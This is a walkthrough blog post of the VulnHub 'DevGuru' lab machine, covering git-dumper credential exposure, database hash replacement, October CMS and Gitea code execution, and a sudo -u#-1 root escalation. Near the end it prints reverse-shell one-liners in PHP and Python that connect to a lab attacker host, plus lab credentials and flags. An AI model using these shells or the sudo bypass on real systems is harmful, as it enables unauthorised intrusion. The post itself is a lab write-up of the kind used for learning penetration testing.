Post

Devguru

Posted Updated
Devguru Machine πŸ“š
Devguru Machine πŸ“š
By Shivendra Prajapati
3 min read

Description ‡️

πŸ’‘ DevGuru is a fictional web development company hiring you for a pentest assessment. You have been tasked with finding vulnerabilities on their corporate website and obtaining root.

OSCP like ~ Real life based

Difficulty: Intermediate (Depends on experience)

Let’s find the IP Address firstΒ Β»

130-1.png

1

IP : 10.0.2.26

Port Scan Results ➑️

131-1.png

131-2.png

1
2
3
4

OPEN PORTS >
22   SSH
80   HTTP
8585 unknown

Web Enumeration ‡️

I checked port 80 and I got this static webpage.

132-1.png

After that I checked port 8585 and I got a gitea page, whose version is Gitea Version 1.12.5.

132-2.png

Now lets look into the directory or files bruteforcing from feroxbuster and ffuf Tool β†’

134-1.png

134-2.png

I also looked into searchsploit for anyt public exploit for this gitea version.

132-3.png

Since it needs Authentication So I Have to find the username and the password to get the access β†’

132-4.png

Lets use nikto also β†’

132-5.png

Since I have gitea that also means that I would also have .git directory as that can I also be seen in nikto Tool scan above so lets take a look into it.

132-6.png

Now we have .git as a directory so its time to extract some git directories with the help of git-dumper β†’

132-7.png

Now lets recon further β†’

Data β†’ /git-dump/config/databases.php β†’

132-8.png

1
2
3
4

'database'   => 'octoberdb',
'username'   => 'october',
'password'   => 'SQ66EBYx4GT3byXH'
While opening the git-dump directory I found β†’ adminer.php β†’

I used this above info to login into the phpmyadmin site like this.

132-9.png

After using that credentials I got this β†’

132-10.png

I then cracked this password hash with is in bcrypt from online random site and I did not able to crack it.

132-11.png

Now As I have access to the database to lets change the password hash according to my password and I will be using password as password here from http://brypt-generator.com site β†’

132-12.png

Lets replace the password and saving it,Now I can Logged in with frank β†’ password cred.

Now coming back the main site lets login with frank β†’ password cred and I can see OCTOBER CMS.

132-13.png

I got a reverse shell for october cms β†’

132-14.png

132-15.png

When I saved the code I loaded the site and I got this β†’

132-16.png

After some enumeration I found this β†’ on /var/backups/app.ini.bak β†’

132-17.png

Now I have the credentials of gitea for mysql services lets use it similar as we did before β†’

1
2

username β†’ gitea
password β†’ UfFPTF8C8jjxVF2m

132-18.png

132-19.png

with this I got in β†’

132-20.png

Now lets use that exploit β†’

132-21.png

The Exploit was not working so lets use the mannual code execution β†’

132-22.png

132-23.png

132-24.png

Now lets edit and commit any file so I choose README.md file β†’

132-25.png

132-26.png

132-27.png

Now I got it β†’

133-1.png

133-2.png

1

user.txt β†’ 22854d0aec6ba776f9d35bf7b0e00217

Now lets check the *sudo -l* further and I got this β†’

133-3.png

lets use it β†’

1
2

command β†’
`sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/bash`

133-4.png

133-5.png

1

root.txt β†’ 96440606fb88aa7497cde5a8e68daf8f

133-6.png

Summery Notes β†’

  1. Git enumeration with git-dumper and executing the reverse shell was on good path.
  2. I enjoyed the swaping of the password method from mysql .
  3. I got to know about october CMS and its reverse shell code .
  4. Also about the sudo vulnerability part ←

october CMS reverse shell code –>

1

function onstart(){    exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.10/4444 0>&1'");}

1
2

python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root β†’

1

sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/bash -i'

If you have any questions or suggestions, please leave a comment below. Thank You !

VulnHub
CMS PrivEsc Public Exploit git gitea Password Generate sudo exploit OCTOBER CMS
This post is licensed under CC BY 4.0 by the author.